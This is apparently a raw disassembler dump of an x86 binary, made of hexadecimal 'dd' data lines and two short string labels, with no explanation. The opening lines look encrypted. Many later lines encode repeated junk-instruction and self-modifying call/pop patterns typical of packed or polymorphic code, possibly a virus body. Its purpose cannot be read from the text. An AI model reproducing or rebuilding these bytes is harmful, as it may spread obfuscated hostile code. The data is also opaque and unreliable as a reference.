		dd 81DA8B09h, 8EDEAF4Dh, 0A40D6C1Dh, 0EB287097h, 0EA0DF947h
		dd 0EBC9AAF0h, 8753244Bh, 0B2D8A861h, 9AC01AD0h, 236B504Bh
		dd 0DD8A85Fh, 0B036F94Dh, 0F9DEAF4Dh, 65806C13h, 0F7DA8B39h
		dd 22DA8B09h, 0DBDEAF4Dh, 48CD6C1Bh, 1934D9B2h,	365356C6h
		dd 0DFD4D3B3h, 48DAF27h, 76DEAF4Eh, 601DF46Dh, 99FAF3C4h
		dd 0CAFAEBCCh, 67DEAF59h, 121DFC0Eh, 0D9DEA6A4h, 237E7A4Dh
		dd 56BAAF5Fh, 0EB21F2FFh, 758FAF27h, 0CEDEAF4Eh, 3E1DF66Dh
		dd 0B7FAE3C4h, 0DDFAEBCCh, 0ECDEAF51h, 0AD1DFE0Ch, 0C882A3BBh
		dd 0ACF512EDh, 0E7232AC4h, 67B4A94Ah, 0B3DD471Bh, 87FEAF4Dh
		dd 9857F18Eh, 325FAB69h, 3BC2AB69h, 0CB98AF4Dh,	9B404F8Eh
		dd 0F68072DCh, 3ED76C5Dh, 0DFD9A084h, 0F0932A8Bh, 1099A94Ah
		dd 531A32F3h, 8B8A1CAh,	71B8FF2Dh, 368576D8h, 0E3B9172Bh
		dd 0ED5FCE15h, 0F8C5B869h, 0B45FC979h, 8E21291Dh, 9BD9BDA0h
		dd 0CEDEBBA5h, 9DD0E84Dh, 0C71BD98Dh, 0BE5ECDD1h, 0A1AAFBD7h
		dd 2E3A3981h, 0B8D1F6B5h, 9DDEAF43h, 0CEDEA6A4h, 0E7BC334Dh
		dd 0C78A352Ah, 5C536300h, 0EAD4D3B3h, 76DEA9A5h, 8924FF4Dh
		dd 926B96D2h, 0CEDEA9C3h, 0B26B264Dh, 0E9D8A85Dh, 0FF677FB2h
		dd 65D96B14h, 71D7BEC8h, 0D26B244Bh, 5BD8A87Fh,	0C9C2E2C8h
		dd 67B4FC4Bh, 0B3DD471Ah, 86FEAF4Dh, 9057F08Eh,	325FAB69h
		dd 3BC2AB69h, 0CA99AF4Dh, 5E65018Eh, 6F04DDF1h,	0BF369FECh
		dd 0DDEAF4Dh, 7CFF280h,	0BA7A5C6Dh, 0B0AF9512h,	9AC86AD8h
		dd 7B55F04Bh, 61D9A838h, 36799A25h, 0FDDA2E30h,	0F76D1716h
		dd 532208F3h, 9253AE28h, 62D8A85Bh, 0C9CC42F8h,	6663864Bh
		dd 3ED8A857h, 0D3A251C8h, 560E504Bh, 60E89236h,	4F2068CCh
		dd 18579DEEh, 0C8D9AEACh, 67DEA8A4h, 4A1F984Dh,	0A89D5074h
		dd 0F0932A8Bh, 0FD89A94Ah, 3CC712F0h, 0A17EC74Bh, 0C537E7B6h
		dd 80DEAF4Dh, 0C8B7A46Ch, 343C7501h, 0E85FFD7Ah, 7FCBC969h
		dd 664BAC0Ah, 62D8A852h, 0C9CC42F8h, 37DEC54Bh,	0B3DEACA5h
		dd 1A868F4Dh, 0C89A2615h, 529A2E49h, 3BDEB849h,	5E8EEF4Dh
		dd 0AD3078EAh, 1B202AC0h, 6DFA947h, 0DFD981A8h,	0ECB47FB2h
		dd 76DD471Ah, 64FEAF4Dh, 0E157F08Eh, 8A5FAB69h,	67CAAB69h
		dd 0E499AF4Dh, 5C57DB8Eh, 0EAD99F78h, 6A932A8Bh, 819DA94Ah
		dd 0C6325240h, 8F254A25h, 0F5015FCh, 0B75FB705h, 97AAEC69h
		dd 0B9DEC546h, 76DEACA5h, 0F8838F4Dh, 0B9B22610h, 0EA9A2E49h
		dd 67DEB449h, 708BEA4Dh, 0EF7B431Bh, 0F7B744E5h, 76D6461Ch
		dd 786EAF4Dh, 5F3F6CFDh, 31840FA3h, 60CC42F8h, 0E960C94Bh
		dd 275B224Ch, 86D8A531h, 7536F84Dh, 1BDEAF4Dh, 14816C12h
		dd 4FDA8B31h, 7FDA8B09h, 0F4DEAF4Dh, 0A9906C1Ah, 8CB53910h
		dd 6A9F12C6h, 0D28CA94Ah, 9DDEAF45h, 634858F6h,	9EA2FA46h
		dd 6321CE12h, 318BAF27h, 0ECDEAF4Eh, 2B1DF26Dh,	3FFAC3C4h
		dd 99FAEBCCh, 0CEDEAF57h, 6F1DFA08h, 6B5C3700h,	66B8CD64h
		dd 69576AA8h, 70D99C04h, 0D38CAF27h, 9DDEAF4Eh,	941DF56Dh
		dd 63FAFBC4h, 0B7FAEBCCh, 0D9DEAF51h, 881DFD0Fh, 0D580B0F5h
		dd 69CE35A6h, 86E31A64h, 4B53A94Ah, 61D41CCFh, 5B88AF27h
		dd 0D9DEAF4Eh, 0B21DF16Dh, 72FADBC4h, 3FFAEBCCh, 9DDEAF59h
		dd 1F1DF90Bh, 0EE08241Dh, 6ED8B49h, 0DFD99D8Ch,	0ED2B3AB2h
		dd 0FBD1A94Ah, 3BDEAF4Bh, 0B6DB3AC6h, 1655A94Ah, 60533244h
		dd 3653A94Ah, 0DFD41C3Bh, 48DAF27h, 76DEAF4Eh, 601DF46Dh
		dd 99FAF3C4h, 0CAFAEBCCh, 67DEAF57h, 0AB1DFC0Eh, 313BE13Eh
		dd 5461ED25h, 0E68BBA69h, 0EFF29CF4h, 7354FF4Bh, 9CDEC5DDh
		dd 67DEACA5h, 70848F4Dh, 0FD8A2617h, 0C89A2E49h, 76DEB849h
		dd 0F88CED4Dh, 56534A78h, 0AF6B242Dh, 68D8A87Eh, 20BF5DF2h
		dd 0D9DEA6A5h, 43D1B64Dh, 5A0F548Bh, 0BDD16D79h, 9DDEAF49h
		dd 867B112Bh, 0AF55FF14h
		dd 9A5386DEh, 26D8A85Bh, 0EBEF2AD8h, 26DEC54Bh,	3BDEACA5h
		dd 5E868F4Dh, 0EA9A2615h, 439A2E49h, 0B3DEB549h, 1A8EEF4Dh
		dd 9D01E475h, 0FFB99EDFh, 3CEDF2C8h, 0CBDEC54Bh, 0CEDEACA5h
		dd 0A4808F4Dh, 97AA2613h, 0FD9A2E49h, 0ECDEB349h, 0B588E94Dh
		dd 9D00D500h, 949CEF25h, 36326AAh, 1D8A866h, 0A19149CCh
		dd 0F5032A8Ah, 0ECD1A94Ah, 76B4AF4Dh, 3BDD4718h, 0C0FEAF4Dh
		dd 0A257F28Eh, 235FAB69h, 0B3C7AB69h, 8C9BAF4Dh, 1F1A3C8Eh
		dd 0FF4BBCC5h, 3CCB02C0h, 6C69A04Bh, 0FD833AB2h, 0EA57A94Ah
		dd 0B5D9B534h, 0E95F2AC4h, 0ECB4A94Ah, 76DD471Bh, 65FEAF4Dh
		dd 0E957F18Eh, 8A5FAB69h, 67C3AB69h, 0E598AF4Dh, 95FA1B8Eh
		dd 0BDDAE3C0h, 9E1C30F8h, 3BDEAF41h, 5FAE6274h,	37C37BEAh
		dd 0F26713A0h, 0ED281842h, 0C2A32AC6h, 7153A94Ah, 70D4680Ch
		dd 0B6DFECC4h, 9AD686F0h, 0D56B224Bh, 0DED8A58Ah, 0B3DEAF7Eh
		dd 0EA350BBEh, 0ECDEAFF5h, 21EA44Dh, 3BC66D4Eh,	91FAEBC6h
		dd 0CEDE471Eh, 0E685AF4Dh, 0B3DEB88Eh, 0FD82264Dh, 0C89A265Dh
		dd 4166F459h, 0C4DE30EDh, 0B99A24ADh, 0A43E5049h, 6436F94Dh
		dd 93DEAF4Dh, 50806C13h, 6DDA8B39h, 6DDA8B09h, 7DDEAF4Dh
		dd 4C5D6C1Bh, 946D72A9h, 6E36417Dh, 0A0DEAF4Dh,	0D82ECF2Ch
		dd 297BFA47h, 71671AC6h, 8584A94Ah, 0EA2A91FEh,	0B863222Ch
		dd 0EAD8A5FEh, 0B91907C0h, 72EB174Bh, 69ED376Bh, 70D99DBCh
		dd 2D1F6066h, 0A521DEC5h, 4D3BDEACh, 125E818Fh,	49EAA226h
		dd 49439A2Eh, 4DB3DEB3h, 5E983E8h, 0D98BA4F3h, 2E9DB58Bh
		dd 0E1810607h, 1001F346h, 61E9h, 10E900h, 3B1F0000h, 0C2EA8242h
		dd 1E2E1EE9h, 0E6FDBA45h, 0F612B94h, 1089h, 0BE900h, 46250000h
		dd 0D0F4F802h, 0C176F426h, 6AC38Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 9156D8C3h
		dd 550F9F58h, 5ABF6048h, 0F1A354Ch, 489h, 4FBE6600h, 0C08B619Ch
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 44C35545h
		dd 0E0A52E67h, 0AE9F5A7h, 0B0000000h, 37003B95h, 0BF977D0Fh
		dd 1BD8379h, 60731h, 0BD830975h, 6070A55h, 50197400h, 0B8C08B53h
		dd 4B9h, 217D8589h, 9D8D0607h, 609B459h, 585BD3FFh, 0A55BD83h
		dd 74000607h, 0B8535017h, 4B9h,	217D8589h, 9D8D0607h, 609B0FAh
		dd 585BD3FFh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 19h,	8EC35141h, 5E50E546h, 56006A6Eh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 66F78B08h
		dd 0E9375A58h, 0C08BF5B9h, 860F60h, 52000000h, 5EC1B70Fh
		dd 0C18B4061h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	1FC35545h, 59C7B2B2h, 8FA362D1h, 0DFCF8166h, 4EB6Ch
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0B60C351h, 89FC603Eh, 729E9B5h
		dd 0BD896106h, 6070B49h, 1F19858Dh, 6A0607h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 864F52C3h
		dd 2C3EB2F3h, 1E65BD23h, 66900607h, 502517BFh, 0FE8h, 0A67B5B00h
		dd 0D77233A3h, 61476893h, 9C3D84Ch, 6A905Fh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0A30378C3h
		dd 0F88B66FEh, 6A006Ah,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 6A4BEAC3h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0E9B04BFBh
		dd 14h,	6F264DD6h, 27028F1Fh, 6EEEC8E7h, 0CCB5EC86h, 27CF5B1Eh
		dd 0CB01858Dh, 0BD89060Ah, 6071091h, 6A05C083h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 31FEC352h, 0BB24419Bh, 0B2BFA106h, 9031DB9Ah, 10E86050h
		dd 0A5000000h, 1053A66Bh, 779A70F5h, 8F0D988Eh,	506E0A80h
		dd 0EDB95858h, 61478D26h, 57006A90h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0E8ECEB3Dh
		dd 0A7B25229h, 9D9D0984h, 6A06071Eh, 0E9858900h, 6A06071Bh
		dd 95295600h, 607191Dh,	0CD95FF5Fh, 8D06071Bh, 0AA5B79Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 8B33CAA9h, 0FFB35070h, 0FFF8D3FFh, 70FA585h
		dd 0B64EBF06h, 97E95B1Ch, 0E8000006h, 0
		dd 0BED815Dh, 6A060ACBh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 54B1C351h, 0E261C565h
		dd 0BC8EF22h, 71CB1BDh,	0DDBD8106h, 0D006072Ch,	0F000007h
		dd 0F986h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 4D5F5564h, 18ADE515h, 0F8564EB0h
		dd 3D9D8B5Fh, 6A06072Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 1E30C357h, 81F28B57h
		dd 100E3h, 0CBF6600h, 0FDB0B14h, 7685h,	83F08B00h, 0AC93ABDh
		dd 840F0006h, 15h, 2AD99501h, 6CE90607h, 60000000h, 0F98B6656h
		dd 98E68058h, 3A85C761h, 1060AC9h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0C492C356h, 66BC0F90h, 0E95F17BFh, 2Fh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 99C35141h, 0C74EC6D8h
		dd 0AC93A85h, 6, 0E1BD8B00h, 8D060717h,	72F3D9Dh, 0C9B58B06h
		dd 81060706h, 0FFFEFF23h, 8C66F8FFh, 35BD89DBh,	0F6060733h
		dd 840F04C3h, 52h, 335D95FFh, 0B58B0607h, 6070529h, 12E950h
		dd 0E5910000h, 878261h,	0EA00D883h, 6C6C81D8h, 8773FFA9h
		dd 6A240489h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 92ECC356h, 8D893AFEh, 6070C31h
		dd 1AADB52Bh, 0CCE90607h, 6A000003h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 6D3DC350h
		dd 5840FC7h, 0BF000000h, 7E190DF5h, 0E2C68166h,	8900B0A1h
		dd 723559Dh, 970E606h, 7110D9Dh, 6A71E406h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 294AC355h
		dd 93E826ECh, 0EF9D430Bh, 66D8B60Fh, 0EAACEE81h, 6BAh
		dd 9E85600h, 0C2000000h, 0EDAD7873h, 9F98A0E8h,	5E5E5F52h
		dd 0E8C1C38Bh, 66F38B04h, 6AE2F7h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0BA1540C3h, 0CB49A7ADh
		dd 812DFE8Fh, 0EE0332C7h, 8BD82B7Ah, 7057DB5h, 0F18B9306h
		dd 93F88B50h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 17h,	93C35343h, 0FFF53D24h, 72CDDB5h, 0FDBD8B06h, 0FF060718h
		dd 7320195h, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 2BDAA768h, 1859B529h, 0F9BE0607h
		dd 604D5960h, 4C2DB860h, 89611721h, 7092D9Dh, 0B06106h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0F8C35141h
		dd 0B4326F23h, 0B9C348CBh, 19BD3182h, 0E606070Bh, 0D5950170h
		dd 0E406070Ah, 81BD8B71h, 3C060718h, 54830F61h,	6A000002h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0A2AFC353h, 0D1A6C9C9h, 6AD8B60Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 7476C351h, 2138B877h, 0BD897476h, 6073361h, 25919D29h
		dd 9D890607h, 60720F1h,	6BAh, 12E900h, 0FA320000h, 19BAD91Ch
		dd 5E288535h, 1DC5C9F6h, 793F7520h, 8509C38Bh, 6071021h
		dd 6A04E8C1h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0F08AC355h, 0F08BFF8Bh, 0FE2F766h
		dd 384h, 0FA8B6600h, 3830Fh, 0B70F0000h, 6AD82BF6h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 8D5DC353h, 6A580AB3h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 2BFBC353h, 58880FD8h
		dd 81000001h, 0C43B7FCFh, 7B92Bh, 0BD890000h, 6070415h
		dd 3B00C183h, 3C860FD9h, 6A000001h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 1563C356h
		dd 4DF05C5Bh, 8C662F10h, 50006AD9h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0B190A6D6h, 694A05C6h
		dd 0CE86004h, 0B8000000h, 0F016F08h, 9FC65BA7h,	8B6612EDh
		dd 721CDBDh, 6E85906h, 88000000h, 0BC056811h, 2171BF11h
		dd 615B1E92h, 0F04C1F6h, 9284h,	5D95FF00h, 5B060733h, 0F6816652h
		dd 2B5EDA76h, 0BD2960C3h, 60730D5h, 14E960h, 0D6CD0000h
		dd 0F1B06103h, 9CC92F4Fh, 0B574FCA1h, 2D3A7344h, 8F0FEBF5h
		dd 0
aAa4		db 'aa=4',8,0
		dw 0F00h
		dd 4E86h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0CB76AE39h, 8F00BE32h, 50E91880h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0B645C350h, 2072B2DFh,	8B861F70h
		dd 50006AC0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 5081D47Bh, 7909EC3Ah, 8166D480h,	8B3663DEh
		dd 6AD88BC3h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 42A0C352h, 0DD6FD429h,	0F527525Ch
		dd 0DE9h, 0CC813800h, 9D41320Ah, 9E127515h, 0F508157h
		dd 18Fh, 0C75FFC00h, 7180D85h, 23EBF906h, 0C859BE7Dh, 0C08B6781h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D6C35141h
		dd 8EE11756h, 9D3172A2h, 60707B9h, 2CDDBD81h, 7D00607h
		dd 850F0000h, 59h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 6DC35040h, 68D0FD5h, 8B000000h, 722F9BDh
		dd 0DD85FF06h, 6A06072Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 6888C351h, 890FA3E2h
		dd 81E5D744h, 0D7DA7C7h, 0DDB5FF12h, 6006072Ch,	19759D0Bh
		dd 0E38A0607h, 195FF61h, 89060732h, 701B19Dh, 78B89006h
		dd 8B123456h, 70611BDh,	7D9D8D06h, 0E9060AD1h, 0FFFFF973h
		dd 1849B529h, 0BF660607h, 0C18B7AC0h, 22BD8529h, 4EB0607h
		dd 0
aFb2j		db 'f2j',0
		db 51h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 59CC3E52h, 0EEBABC18h, 2F04CE81h, 858D1723h,	6071F19h
		dd 3159B589h, 66500607h, 89AA50BFh, 6A2404h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 52821AC3h
		dd 0CE9h, 0EC9A8F00h, 0FD0DC669h, 4F2D44AFh, 6A006A0Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0BB9C353h, 0FCE33AE1h, 0C18D093Eh, 8906071Bh
		dd 72C09B5h, 6A006A06h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0E3C4C353h,	696E1BA6h
		dd 0D356858Dh, 0C083060Ah, 8B50F905h, 240489FBh, 0FCF38060h
		dd 2D699D89h, 6A610607h, 0D1B58B00h, 6A060715h,	0D7816600h
		dd 95FFCAE3h, 6071BCDh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 25C35646h, 2ED2F797h,	58C0F6Ah, 52000000h
		dd 5EFFB70Fh, 14E9h, 213B5400h,	0D05F0217h, 0D284BD3Bh
		dd 8D2D028Dh, 2682E603h, 8DF88BD6h, 0AA5B79Dh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0BD89217Dh, 6072AF9h, 6AD3FFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 8D2929C3h, 6072FDDh
		dd 0FA585FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0E99847C3h, 0DDCh, 0E8h,	0ED815D00h
		dd 60AD360h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	44C35343h, 435BD272h, 0BD5C56ADh, 0EFE78166h, 6E958h
		dd 9BFF0000h, 91C7BA47h, 2CDDBD81h, 7D00607h, 860F0000h
		dd 134h, 219D8BF5h, 6A060718h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0CEB4C351h,	3DE3B157h
		dd 2315B58Bh, 0E3810607h, 100h,	138F0Fh, 0EE90000h, 69000000h
		dd 0C14D5359h, 63ED9637h, 17623DABh, 0CF81664Dh, 0DB0B297Ch
		dd 0A2850Fh, 95890000h,	6070929h, 0D1A7BD83h, 0F00060Ah
		dd 5984h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 8D0F3CBDh, 1, 7BE9F5h, 0E8560000h
		dd 0Fh,	8D954A39h, 0F30996FBh, 0F300173Fh, 0E83FB884h
		dd 13h,	0E4B3E738h, 15088E67h, 0A6B020B2h, 0EE2F9E1Ah
		dd 5E6507EBh, 85C75E5Fh, 60AD1A7h, 1, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 5DC35141h, 11F0D00Eh, 1CE9h
		dd 49BD8900h, 0F8060702h, 0D1A785C7h, 60Ah, 8E0F0000h
		dd 5, 6F9BBDBFh, 219D8D5Fh, 66060718h, 890FF18Bh, 6, 1865BD8Bh
		dd 23810607h, 0FFFFFEFFh, 87FB8CBEh, 0FA8B6641h, 0F6DB8C66h
		dd 840F04C3h, 68h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0A1C35242h, 0B46EAC22h, 8D905287h, 335D95FFh
		dd 5E80607h, 0D000000h,	3689C167h, 12F78166h, 60505EF3h
		dd 0AE8h, 821D5F00h, 89967BEBh,	5AC3C0CDh, 24048961h, 13E9h
		dd 0BC5E00h, 840B76EEh,	0EB544F90h, 79C97265h, 0D828BFC0h
		dd 3D4E9h, 0FEB70F00h, 6A00B0h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 82ED4FC3h, 0DC77F89Bh
		dd 6A70E6BEh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0CE8EC355h, 9B58B50h, 5E060700h
		dd 0B70F71E4h, 0D8B60FF6h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 19C35545h, 8A0F7Eh, 0BA000000h, 6, 1D018D89h
		dd 0C38B0607h, 12E9h, 0A5783B00h, 9549894Ah, 5739610Ah
		dd 74BA82F2h, 0C17B02DBh, 6A04E8h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 78A3A5C3h, 0E4E02CFDh
		dd 0E2F766F2h, 4BD8D89h, 0D82B0607h, 0DE9h, 0E5129200h
		dd 0B76F8EA4h, 0C65A5B5h, 0E89354F5h, 0Ah, 52E271CFh, 87417C7Dh
		dd 58BF1159h, 5E725CF8h, 8CBF6650h, 7E99356h, 0C7000000h
		dd 0DF55E4C9h, 0FFFC311Bh, 72CDDB5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0BF666096h
		dd 8589A628h, 6070B29h,	195FF61h, 6A060732h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 3FA8C357h, 65A00B72h, 0BFB5A759h, 56EF7979h,	8B6600B0h
		dd 6A70E6F7h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 196DC350h, 6A71E4h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0FF945C3h
		dd 582h, 90D2BF00h, 613C441Ch, 217830Fh, 89600000h, 708C195h
		dd 0F61F806h, 6AD8B6h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 9ED717C3h, 9E9h,	12BE5300h, 0A74BE0D9h
		dd 6BAB4C7h, 31000000h,	700859Dh, 0F9B70F06h, 6AC38Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 3B021BC3h, 83F5B507h, 6F1B58Bh, 0E8C10607h, 55006A04h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 70712D7Eh, 3089BD89h, 0F7660607h, 57006AE2h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0C8F6CFC4h
		dd 0CB1B49D7h, 5EDE8166h, 0B589FC50h, 6072F75h,	6AD82Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 69E33C3h, 0B589586Eh, 6073229h, 880FD82Bh, 11Dh, 18EDBD8Bh
		dd 7B90607h, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 7546C355h, 0AE985h
		dd 8CE60000h, 0FFF68CFEh, 0C7D8D066h, 83FE8B66h, 0F38B00C1h
		dd 3BF8B70Fh, 0D2860FD9h, 89000000h, 704C5BDh, 0D98C6606h
		dd 1509B58Bh, 0C1F60607h, 0AA840F04h, 8B000000h, 72005B5h
		dd 5D95FF06h, 6A060733h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0EF17C351h,	89396437h
		dd 71279BDh, 6A5B06h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 763F0CC3h, 2BFB8B2Ah, 52006AC3h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 12E875h, 0D15E0000h,	57B10B9h, 6D8F10EDh, 0B0C9DB11h
		dd 59B3CA29h, 810F60h, 89000000h, 723158Dh, 3D5F6106h
		dd 834h, 7860Fh, 5F500000h, 10E9h, 0FC08B00h, 887h, 0B58B5000h
		dd 6071C15h, 8BC38B5Fh,	0FB8B66D8h, 2F3D85C7h, 8BF30607h
		dd 895173C6h, 72C7595h,	0C08B5E06h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 4C35646h, 0BD81138Bh, 6072CDDh
		dd 7D0h, 38850Fh, 9D890000h, 6070A75h, 8693BE66h, 2CDD85FFh
		dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0FEB068C3h, 3682FC8h, 1EC8E681h, 0B5FF1D1Bh
		dd 6072CDDh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 74C35040h
		dd 674B728h, 117E2D4h, 730B9B5h, 195FF06h, 8B060732h, 73075BDh
		dd 6A409006h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0E0AC356h, 30D41C87h, 60DFDD18h
		dd 0B3C9BA66h, 0BA30BB66h, 65BD8361h, 6072Fh, 0E3840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0EBFE25C3h, 0BD83C6F7h, 607044Dh,	0B6840F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0F484C351h, 60B80FCCh,	609BD0Bh
		dd 95FF0607h, 6072F65h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 27C35242h, 5E1D0372h,	0FE951h, 51F10000h
		dd 95B44418h, 4E25FE57h, 4E7FA5C7h, 0FC00B39h, 4C84h, 0B58B5600h
		dd 6072D19h, 0B48D8D5Fh, 8B06074Dh, 70FA1BDh, 5B806h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 305AB3C3h, 95BD03EEh, 1060700h, 71975B5h, 89E1FF06h
		dd 700E1BDh, 1DBD8306h,	60732h,	5EC840Fh, 0B9600000h, 29F826Bh
		dd 1F0DB533h, 83610607h, 7044DBDh, 840F0006h, 5D2h, 2135B58Bh
		dd 0BF660607h, 8D8DDD83h, 6071F65h, 1D798589h, 0BD8B0607h
		dd 6071FD1h, 7C8401C7h,	6A44B2h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 662EB3C3h, 81130BBFh
		dd 99CFCB01h, 53006A14h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0DE717391h, 0DF81A193h, 436D5F6Dh
		dd 0B871BE66h, 340441C7h, 8BCE706Bh, 44181F3h, 31D6D710h
		dd 0BE9h, 330E500h, 0D22F725Bh,	37DB2776h, 8DF5006Ah, 71F6585h
		dd 0BE509006h, 5F91EAF1h, 0FE890h, 45190000h, 0A165787Bh
		dd 0D94C90EBh, 745243CAh, 95FF5EB3h, 607321Dh, 5ECE8166h
		dd 0CD9D89B6h, 8D06072Fh, 71F658Dh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 35467DAh, 0A54E331Fh
		dd 7E9h, 0D3259500h, 5307B92Eh,	1C7h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 74FCA1C3h, 12F1B58Bh, 41C70607h, 4, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 4ACD1B9Bh, 3BE29021h, 3160F7A7h, 726F995h, 258D8B06h
